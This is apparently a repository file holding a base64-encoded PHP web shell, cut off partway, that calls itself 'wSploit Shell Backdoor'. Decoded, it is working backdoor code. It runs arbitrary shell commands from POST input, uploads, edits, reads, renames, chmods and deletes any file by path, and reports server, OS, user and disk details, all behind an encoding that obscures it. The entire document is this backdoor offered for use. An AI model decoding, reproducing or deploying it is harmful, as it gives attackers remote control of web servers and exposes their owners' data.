wSploitHub/api/v2/wshell
2025-01-30 20:24:33 +00:00

1 line
35 KiB
Plaintext

a2lyYTE0MDY8P3BocAovLyBIYW5kbGUgVGVybQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnY29tbWFuZCddKSkgewogICAgLy8gTWVuZ2FtYmlsIHBlcmludGFoIGRhcmkgaW5wdXQKICAgICRjb21tYW5kID0gZXNjYXBlc2hlbGxjbWQoJF9QT1NUWydjb21tYW5kJ10pOwogICAgCiAgICAvLyBNZW5qYWxhbmthbiBwZXJpbnRhaCBtZW5nZ3VuYWthbiBleGVjKCkKICAgIGV4ZWMoJGNvbW1hbmQsICRvdXRwdXQsICRzdGF0dXMpOwoKICAgIC8vIE1lbmFtcGlsa2FuIGhhc2lsIHBlcmludGFoIGF0YXUgcGVzYW4gZXJyb3IKICAgIGlmICgkc3RhdHVzID09PSAwKSB7CiAgICAgICAgZWNobyBpbXBsb2RlKCJcbiIsICRvdXRwdXQpOyAvLyBNZW5hbXBpbGthbiBoYXNpbCBwZXJpbnRhaAogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJFcnJvcjogUGVyaW50YWggdGlkYWsgYmVyaGFzaWwgZGlqYWxhbmthbi4iOwogICAgfQogICAgZXhpdDsgLy8gTWVuZ2FraGlyaSBla3Nla3VzaSBzZXRlbGFoIG1lbmFuZ2FuaSBwZXJtaW50YWFuIFBPU1QKfQovLyBNZW5pbmdrYXRrYW4gd2FrdHUgZWtzZWt1c2kgbWFrc2ltdW0gdW50dWsgbWVuZ2hpbmRhcmkgdGltZW91dAppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCA2MCk7IC8vIE1lbmFtYmFoIHdha3R1IGVrc2VrdXNpIGhpbmdnYSA2MCBkZXRpawoKLy8gTWVuZGFwYXRrYW4gZGlyZWt0b3JpIHNhYXQgaW5pIGRhcmkgcGFyYW1ldGVyIHF1ZXJ5IGF0YXUgZGVmYXVsdCBrZSBkaXJla3Rvcmkgc2tyaXAKJGN1cnJlbnREaXJlY3RvcnkgPSBpc3NldCgkX0dFVFsncGF0aCddKSA/IHJlYWxwYXRoKCRfR0VUWydwYXRoJ10pIDogcmVhbHBhdGgoZGlybmFtZShfX0ZJTEVfXykpOwoKaWYgKCEkY3VycmVudERpcmVjdG9yeSkgewogICAgJGN1cnJlbnREaXJlY3RvcnkgPSByZWFscGF0aChkaXJuYW1lKF9fRklMRV9fKSk7Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5hbXBpbGthbiBwZXNhbgpmdW5jdGlvbiBkaXNwbGF5TWVzc2FnZSgkbWVzc2FnZSwgJHR5cGUgPSAnc3VjY2VzcycpIHsKICAgIGVjaG8gIjxkaXYgc3R5bGU9J2NvbG9yOiAiIC4gKCR0eXBlID09PSAnc3VjY2VzcycgPyAnZ3JlZW4nIDogJ3JlZCcpIC4gIjsnPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRtZXNzYWdlKSAuICI8L2Rpdj4iOwp9CgovLyBGdW5nc2kgdW50dWsgbWVuZGFwYXRrYW4gdWt1cmFuIGZvbGRlcgpmdW5jdGlvbiBnZXRGb2xkZXJTaXplKCRmb2xkZXIpIHsKICAgICRzaXplID0gMDsKICAgIGZvcmVhY2ggKHNjYW5kaXIoJGZvbGRlcikgYXMgJGZpbGUpIHsKICAgICAgICBpZiAoJGZpbGUgPT09ICcuJyB8fCAkZmlsZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgJHBhdGggPSAkZm9sZGVyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlOwogICAgICAgIGlmIChpc19saW5rKCRwYXRoKSkgY29udGludWU7IC8vIE1lbmdoaW5kYXJpIGxpbmsgc2ltYm9saWsKICAgICAgICAkc2l6ZSArPSBpc19kaXIoJHBhdGgpID8gZ2V0Rm9sZGVyU2l6ZSgkcGF0aCkgOiBmaWxlc2l6ZSgkcGF0aCk7CiAgICB9CiAgICByZXR1cm4gJHNpemU7Cn0KCi8vIE1lbmFuZ2FuaSB0aW5kYWthbiB0YW1iYWggZmlsZQppZiAoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXSA9PT0gJ2FkZF9maWxlJyAmJiBpc3NldCgkX1BPU1RbJ2ZpbGVfbmFtZSddKSkgewogICAgJGZpbGVQYXRoID0gJGN1cnJlbnREaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydmaWxlX25hbWUnXTsKICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVQYXRoKSkgewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlUGF0aCwgJycpOwogICAgICAgIGRpc3BsYXlNZXNzYWdlKCJGaWxlIGJlcmhhc2lsIGRpYnVhdC4iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkZpbGUgc3VkYWggYWRhLiIsICdlcnJvcicpOwogICAgfQp9CgovLyBNZW5hbmdhbmkgdGluZGFrYW4gdGFtYmFoIGZvbGRlcgppZiAoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXSA9PT0gJ2FkZF9mb2xkZXInICYmIGlzc2V0KCRfUE9TVFsnZm9sZGVyX25hbWUnXSkpIHsKICAgICRmb2xkZXJQYXRoID0gJGN1cnJlbnREaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydmb2xkZXJfbmFtZSddOwogICAgaWYgKCFmaWxlX2V4aXN0cygkZm9sZGVyUGF0aCkpIHsKICAgICAgICBta2RpcigkZm9sZGVyUGF0aCk7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkZvbGRlciBiZXJoYXNpbCBkaWJ1YXQuIik7CiAgICB9IGVsc2UgewogICAgICAgIGRpc3BsYXlNZXNzYWdlKCJGb2xkZXIgc3VkYWggYWRhLiIsICdlcnJvcicpOwogICAgfQp9CgovLyBNZW5hbmdhbmkgdW5nZ2FoIGZpbGUKaWYgKGlzc2V0KCRfRklMRVNbJ3VwbG9hZF9maWxlJ10pKSB7CiAgICAkdGFyZ2V0UGF0aCA9ICRjdXJyZW50RGlyZWN0b3J5IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRfRklMRVNbJ3VwbG9hZF9maWxlJ11bJ25hbWUnXSk7CiAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZF9maWxlJ11bJ3RtcF9uYW1lJ10sICR0YXJnZXRQYXRoKSkgewogICAgICAgIGRpc3BsYXlNZXNzYWdlKCJGaWxlIGJlcmhhc2lsIGRpdW5nZ2FoLiIpOwogICAgfSBlbHNlIHsKICAgICAgICBkaXNwbGF5TWVzc2FnZSgiR2FnYWwgbWVuZ3VuZ2dhaCBmaWxlLiIsICdlcnJvcicpOwogICAgfQp9CgovLyBNZW5hbmdhbmkgdGluZGFrYW4gZWRpdCBmaWxlCmlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09PSAnZWRpdCcgJiYgaXNzZXQoJF9QT1NUWydmaWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgJGZpbGVQYXRoID0gcmVhbHBhdGgoJF9QT1NUWydmaWxlJ10pOwogICAgaWYgKCRmaWxlUGF0aCAmJiBpc193cml0YWJsZSgkZmlsZVBhdGgpKSB7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVQYXRoLCAkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkZpbGUgYmVyaGFzaWwgZGlwZXJiYXJ1aS4iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkdhZ2FsIG1lbXBlcmJhcnVpIGZpbGUuIiwgJ2Vycm9yJyk7CiAgICB9Cn0KCi8vIE1lbmFuZ2FuaSB0aW5kYWthbiByZW5hbWUKaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pICYmICRfUE9TVFsnYWN0aW9uJ10gPT09ICdyZW5hbWUnICYmIGlzc2V0KCRfUE9TVFsnb2xkX25hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWyduZXdfbmFtZSddKSkgewogICAgJG9sZFBhdGggPSByZWFscGF0aCgkX1BPU1RbJ29sZF9uYW1lJ10pOwogICAgJG5ld1BhdGggPSBkaXJuYW1lKCRvbGRQYXRoKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ25ld19uYW1lJ107CiAgICBpZiAoJG9sZFBhdGggJiYgcmVuYW1lKCRvbGRQYXRoLCAkbmV3UGF0aCkpIHsKICAgICAgICBkaXNwbGF5TWVzc2FnZSgiSXRlbSBiZXJoYXNpbCBkaXViYWggbmFtYW55YS4iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkdhZ2FsIG1lbmd1YmFoIG5hbWEgaXRlbS4iLCAnZXJyb3InKTsKICAgIH0KfQoKLy8gTWVuYW5nYW5pIHRpbmRha2FuIGNobW9kCmlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09PSAnY2htb2QnICYmIGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ3Blcm1pc3Npb25zJ10pKSB7CiAgICAkZmlsZVBhdGggPSByZWFscGF0aCgkX1BPU1RbJ2ZpbGUnXSk7CiAgICAkcGVybWlzc2lvbnMgPSBvY3RkZWMoJF9QT1NUWydwZXJtaXNzaW9ucyddKTsKICAgIGlmICgkZmlsZVBhdGggJiYgY2htb2QoJGZpbGVQYXRoLCAkcGVybWlzc2lvbnMpKSB7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkl6aW4gYmVyaGFzaWwgZGl1YmFoLiIpOwogICAgfSBlbHNlIHsKICAgICAgICBkaXNwbGF5TWVzc2FnZSgiR2FnYWwgbWVuZ3ViYWggaXppbi4iLCAnZXJyb3InKTsKICAgIH0KfQovLyBNZW11YXQga29udGVuIGZpbGUgdW50dWsgZGllZGl0Ci8vIFRhbmdhbmkgcGVybWludGFhbiBHRVQgdW50dWsgbWVuZ2FtYmlsIGtvbnRlbiBmaWxlCmlmIChpc3NldCgkX0dFVFsnZmlsZSddKSkgewogICAgJGZpbGVQYXRoID0gcmVhbHBhdGgoJF9HRVRbJ2ZpbGUnXSk7CiAgICBpZiAoJGZpbGVQYXRoICYmIGlzX3JlYWRhYmxlKCRmaWxlUGF0aCkpIHsKICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7IC8vIEtpcmlta2FuIGtvbnRlbiBmaWxlIHNlYmFnYWkgcmVzcG9uCiAgICB9IGVsc2UgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDApOyAvLyBLaXJpbSBzdGF0dXMgZ2FnYWwKICAgICAgICBlY2hvICdHYWdhbCBtZW1iYWNhIGZpbGUuJzsKICAgIH0KICAgIGV4aXQ7Cn0KCgoKLy8gTWVuYW5nYW5pIHRpbmRha2FuIGRlbGV0ZQppZiAoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXSA9PT0gJ2RlbGV0ZScgJiYgaXNzZXQoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAkZmlsZVBhdGggPSByZWFscGF0aCgkX1BPU1RbJ2ZpbGUnXSk7CiAgICBpZiAoJGZpbGVQYXRoICYmIGlzX3dyaXRhYmxlKCRmaWxlUGF0aCkpIHsKICAgICAgICBpZiAoaXNfZGlyKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgcm1kaXIoJGZpbGVQYXRoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1bmxpbmsoJGZpbGVQYXRoKTsKICAgICAgICB9CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkl0ZW0gYmVyaGFzaWwgZGloYXB1cy4iKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZGlzcGxheU1lc3NhZ2UoIkdhZ2FsIG1lbmdoYXB1cyBpdGVtLiIsICdlcnJvcicpOwogICAgfQp9CgovLyBNZW5hbmdhbmkgcGVybWludGFhbiBrb250ZW4gZmlsZSB1bnR1ayBlZGl0CmlmIChpc3NldCgkX0dFVFsnZmV0Y2hfY29udGVudCddKSkgewogICAgJGZpbGVQYXRoID0gcmVhbHBhdGgoJF9HRVRbJ2ZldGNoX2NvbnRlbnQnXSk7CiAgICBpZiAoJGZpbGVQYXRoICYmIGlzX3JlYWRhYmxlKCRmaWxlUGF0aCkpIHsKICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7CiAgICB9CiAgICBleGl0Owp9CgovLyBTY2FuIGRpcmVrdG9yaSB1bnR1ayBtZW5kYXBhdGthbiBkYWZ0YXIgZmlsZSBkYW4gZm9sZGVyCiRmaWxlc0FuZERpcnMgPSBzY2FuZGlyKCRjdXJyZW50RGlyZWN0b3J5KTsKCi8vIE1lbWVjYWggcGF0aCBtZW5qYWRpIGJhZ2lhbi1iYWdpYW4gaW5kaXZpZHUKJHBhcnRzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkY3VycmVudERpcmVjdG9yeSk7CiRwYXRoU29GYXIgPSAnJzsKCj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPndTcGxvaXQgU2hlbGwgQmFja2Rvb3I8L3RpdGxlPgogICAgPCEtLSBTdHlsZSB1bnR1ayB0YWJlbCAtLT4KICAgIDxzdHlsZT4KLm15Qm9keSB7CiAgICBmb250LWZhbWlseTogbW9ub3NwYWNlLCBzYW5zLXNlcmlmOwogICAgYmFja2dyb3VuZC1jb2xvcjogcmdiKDM3LCAzNywgMzcpOwogICAgY29sb3I6ICMwZjA7CiAgICBtYXJnaW46IDA7CiAgICBwYWRkaW5nOiAyMHB4Owp9CnRhYmxlIHsKICAgIHdpZHRoOiAxMDAlOwogICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsKfQp0YWJsZSB0aCwgdGFibGUgdGQgewogICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDsKICAgIHBhZGRpbmc6IDhweDsKfQp0YWJsZSB0aCB7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYigxNjgsIDE2OCwgMTY4KTsKfQpmb3JtIHsKICAgIGRpc3BsYXk6IGlubGluZTsKfQoudGVybWluYWwtY29udGFpbmVyIHsKICAgIHBhZGRpbmc6IDEwcHg7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMywgMywgMyk7CiAgICBib3JkZXI6IDJweCBzb2xpZCAjMGYwOwogICAgYm9yZGVyLXJhZGl1czogMTBweDsKICAgIGJveC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwgMjU1LCAwLCAwLjMpOwogICAgaGVpZ2h0OiA2MHZoOwogICAgb3ZlcmZsb3cteTogYXV0bzsKICAgIGRpc3BsYXk6IGZsZXg7CiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwp9CgouaW5wdXQtY29udGFpbmVyIHsKICAgIGRpc3BsYXk6IGZsZXg7CiAgICBtYXJnaW4tdG9wOiAxMHB4OwoKfQoKI2NvbW1hbmQgewogICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7CiAgICBib3JkZXI6IG5vbmU7CiAgICBjb2xvcjogIzBmMDsKICAgIGZsZXgtZ3JvdzogMTsKICAgIG91dGxpbmU6IG5vbmU7Cn0KCi5wcm9tcHQgewogICAgY29sb3I6ICMwZjA7Cn0KCi5vdXRwdXQgewogICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOyAvKiBNZW5qYWdhIGZvcm1hdCB0ZWtzICh0ZXJtYXN1ayBzcGFzaSBkYW4gYmFyaXMgYmFydSkgKi8KICAgIHdvcmQtd3JhcDogYnJlYWstd29yZDsKICAgIGZsZXgtZ3JvdzogMTsKICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICBmb250LXNpemU6IDFyZW07IC8qIE1lbmdhdHVyIHVrdXJhbiBmb250IHVudHVrIGtldGVyYmFjYWFuIHlhbmcgbGViaWggYmFpayAqLwogICAgbGluZS1oZWlnaHQ6IDEuNTsgLyogTWVuYW1iYWhrYW4gamFyYWsgYW50YXIgYmFyaXMgKi8KICAgIGNvbG9yOiAjMGYwOwp9Cgoub3V0cHV0IHByZSB7CiAgICBtYXJnaW46IDA7IC8qIE1lbmdoaWxhbmdrYW4gbWFyZ2luIGRlZmF1bHQgcGFkYSBwcmUgKi8KICAgIGNvbG9yOiAjMGYwOyAvKiBNZW5ldGFwa2FuIHdhcm5hIHRla3Mgb3V0cHV0ICovCn0KCi5tb2RhbC1jb250ZW50IHsKICAgIGJhY2tncm91bmQtY29sb3I6IHJnYigzNywgMzcsIDM3KTsKICAgIGNvbG9yOiAjMGYwOwp9Ci5iZ01vZGFsIHsKICAgIGJhY2tncm91bmQtY29sb3I6IHJnYigzNywgMzcsIDM3KTsKfQoudG9vbCB7CiAgICBwYWRkaW5nOiAyMHB4OwogICAgYm9yZGVyOiBzb2xpZCAxcHggZ3JleTsKICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICBkaXNwbGF5OiBmbGV4Owp9Ci50b29sIC5oNnRvb2wgewogICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgZm9udC1zaXplOiAxLjVyZW0KfQoucHdkIHsKICAgIHBhZGRpbmc6IDIwcHg7CiAgICBib3JkZXI6IHNvbGlkIDFweCBncmV5Owp9Ci5idG4yIHsKICAgIGNvbG9yOiB3aGl0ZTsKICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMjU1LCAwLCAwLjMpOwogICAgYm9yZGVyLXJhZGl1czogMTBweDsKfQouc3luaW5wdXQgewogICAgYm9yZGVyLXJhZGl1czogMTBweDsKfQovKiBnYXlhIE51bGlzICovCi50eXBpbmctY29udGFpbmVyIHsKICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsgLyogR3VuYWthbiByZWxhdGl2ZSBhZ2FyIG1lbnllc3VhaWthbiB0YXRhIGxldGFrICovCiAgICBmb250LXNpemU6IDI0cHg7CiAgICBtYXJnaW4tdG9wOiAxMHB4OyAvKiBKYXJhayBkZW5nYW4gZWxlbWVuIGRpIGF0YXNueWEgKi8KfQoudGV4dCB7CiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgd2hpdGUtc3BhY2U6IG5vd3JhcDsKICAgIGZvbnQtc2l6ZTogMzVweDsKICAgIGJvcmRlci1yaWdodDogM3B4IHNvbGlkIHRyYW5zcGFyZW50OyAvKiBIaWRlIGRlZmF1bHQgYm9yZGVyIGluaXRpYWxseSAqLwp9Ci5jdXJzb3IgewogICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgd2lkdGg6IDEwcHg7CiAgICBoZWlnaHQ6IDI0cHg7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBncmVlbjsKICAgIGFuaW1hdGlvbjogYmxpbmsgMC44cyBpbmZpbml0ZTsKfQouY2ltIHsKICAgIGRpc3BsYXk6IGZsZXg7CiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOwogICAgd2lkdGg6IGF1dG87CiAgICBoZWlnaHQ6IDEwMHB4OwogICAgZmxleC1kaXJlY3Rpb246IDsKICAgIGFsaWduLWl0ZW1zOiBsZWZ0Owp9Ci5jaW0gaW1nIHsKICAgIG1heC13aWR0aDogMTAwJTsKICAgIGhlaWdodDogYXV0bzsKICAgIGJvcmRlcjogMXB4OwogICAgYm9yZGVyLXJhZGl1czogMTAwJTsKfQpAa2V5ZnJhbWVzIGJsaW5rIHsKICAgIDUwJSB7CiAgICAgICAgb3BhY2l0eTogMDsKICAgIH0KfQoubW9kIHsKICAgIGJhY2tncm91bmQtY29sb3I6cmdiKDM3LCAzNywgMzcpOwp9Ci5mb290ZXIgewogICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgbWFyZ2luLXRvcDogNTBweDsKICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKPC9zdHlsZT4KCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyI+CjxsaW5rIGhyZWY9J2h0dHBzOi8vdW5wa2cuY29tL2JveGljb25zQDIuMS40L2Nzcy9ib3hpY29ucy5taW4uY3NzJyByZWw9J3N0eWxlc2hlZXQnPgo8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMy9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KPC9oZWFkPgo8Ym9keSBjbGFzcz0ibXlCb2R5Ij4KICAgIAo8ZGl2IGNsYXNzPSJjaW0iPgoKICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2phYmFyemFkL3dzaGVsbC9yZWZzL2hlYWRzL21haW4vYXNzZXRzL2ltZy93c3Bsb2l0LmpwZWciIGFsdD0iR2FtYmFyIiAvPgogICAgICAgIDxwPnYuMi4wLjE8L3A+CjwvZGl2Pgo8IS0tIEFuaW1hc2kgTWVuZ2V0aWsgLS0+CjxkaXYgY2xhc3M9InR5cGluZy1jb250YWluZXIiPgogICAgPHNwYW4gY2xhc3M9InRleHQiPjwvc3Bhbj4KICAgIDxzcGFuIGNsYXNzPSJjdXJzb3IiPjwvc3Bhbj4KPC9kaXY+Cjw/cGhwCi8vIE1lbmRhcGF0a2FuIElQIHNlcnZlcgokc2VydmVySVAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSA/PyBnZXRob3N0YnluYW1lKGdldGhvc3RuYW1lKCkpOyAvLyBVbnR1ayBtZW5hbmdhbmkgc2VydmVyIGxva2FsCiRzZXJ2ZXJIb3N0ID0gZ2V0aG9zdG5hbWUoKTsgLy8gTmFtYSBob3N0IHNlcnZlcgoKLy8gTWVuZGFwYXRrYW4gdXNlcgokdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsgLy8gVXNlciBkaSBtYW5hIFBIUCBiZXJqYWxhbgoKLy8gTWVuZGFwYXRrYW4gcGVuZ2d1bmFhbiBkaXNrCiR0b3RhbERpc2sgPSBkaXNrX3RvdGFsX3NwYWNlKCIvIik7CiRmcmVlRGlzayA9IGRpc2tfZnJlZV9zcGFjZSgiLyIpOwokdXNlZERpc2sgPSAkdG90YWxEaXNrIC0gJGZyZWVEaXNrOwoKLy8gTWVuZGFwYXRrYW4gSVAgdXNlcgokdXNlcklQID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgovLyBNZW5kYXBhdGthbiBkZXRhaWwgc2lzdGVtIG9wZXJhc2kKJG9zRGV0YWlscyA9IHBocF91bmFtZSgnYScpOyAvLyBNZW5hbXBpbGthbiBkZXRhaWwgbGVuZ2thcCBPUyBtaXJpcCBkZW5nYW4gb3V0cHV0IHVuYW1lIC1hCgplY2hvICI8aDU+SW5mb3JtYXNpIFNlcnZlcjwvaDU+ICI7CgplY2hvICI8aSBjbGFzcz0nYnggYnhzLXNlcnZlcic+PC9pPjogJHNlcnZlcklQICgkc2VydmVySG9zdCk8YnI+IjsKZWNobyAiPGkgY2xhc3M9J2J4IGJ4cy1jaGlwJz48L2k+OiAkb3NEZXRhaWxzPGJyPiI7CmVjaG8gIjxpIGNsYXNzPSdieCBieHMtdXNlcic+PC9pPjogJHVzZXI8YnI+IjsKZWNobyAiPGkgY2xhc3M9J2J4IGJ4cy1oZGQnPjwvaT46ICIgLiBmb3JtYXRCeXRlcygkdXNlZERpc2spIC4gIiBkaWd1bmFrYW4gZGFyaSAiIC4gZm9ybWF0Qnl0ZXMoJHRvdGFsRGlzaykgLiAiPGJyPiI7CmVjaG8gIllvdXIgSVA6ICR1c2VySVA8YnI+IjsKCi8vIEZ1bmdzaSB1bnR1ayBtZW1mb3JtYXQgdWt1cmFuIGRhbGFtIGJ5dGVzIG1lbmphZGkgaHVtYW4tcmVhZGFibGUKZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJywgJ1RCJ107CiAgICAkcG93ID0gZmxvb3IoKCRieXRlcyA/IGxvZygkYnl0ZXMpIDogMCkgLyBsb2coMTAyNCkpOwogICAgJHBvdyA9IG1pbigkcG93LCBjb3VudCgkdW5pdHMpIC0gMSk7CiAgICAkYnl0ZXMgLz0gKDEgPDwgKDEwICogJHBvdykpOwogICAgcmV0dXJuIHJvdW5kKCRieXRlcywgJHByZWNpc2lvbikgLiAnICcgLiAkdW5pdHNbJHBvd107Cn0KPz4KCiAgICAKPGEgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIiBocmVmPSI/YWN0aW9uPWxvZ291dCI+TG9nb3V0PC9hPgogICAgPGhyPgogICAgPCEtLVRvb2xLSVQtLS0+CiAgICA8ZGl2IGNsYXNzPSJ0b29sIj4KICAgICAgICA8aDYgY2xhc3M9Img2dG9vbCI+VG9vbEtpdDwvaDY+CiAgICAgICAgPCEtLSBUZXJtaW5hbCAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgIG10LTIiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI3Rlcm1pbmFsTW9kYWwiPgogICAgICAgICAgICA8aSBjbGFzcz0nYnggYnhzLXRlcm1pbmFsJz48L2k+CiAgICAgICAgICAgIDwvYnV0dG9uPjxicj48aT5UZXJtaW5hbDwvaT4KICAgICAgICA8L2Rpdj4KICAgICAgICAKICAgICAgICA8IS0tIE1vZGFsIHVudHVrIHRlcm1pbmFsIC0tPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJ0ZXJtaW5hbE1vZGFsIiB0YWJpbmRleD0iLTEiIGFyaWEtbGFiZWxsZWRieT0idGVybWluYWxNb2RhbExhYmVsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1sZyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIgYmdNb2RhbCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJ0ZXJtaW5hbE1vZGFsTGFiZWwiPldlYiBUZXJtaW5hbDwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSBiZ01vZGFsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im91dHB1dCIgY2xhc3M9Im91dHB1dCBtYi0zIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InByb21wdCI+d1NwbG9pdC0kIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImNvbW1hbmQiIGNsYXNzPSIiIGF1dG9mb2N1cyBwbGFjZWhvbGRlcj0iTWFzdWtrYW4gcGVyaW50YWgiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDw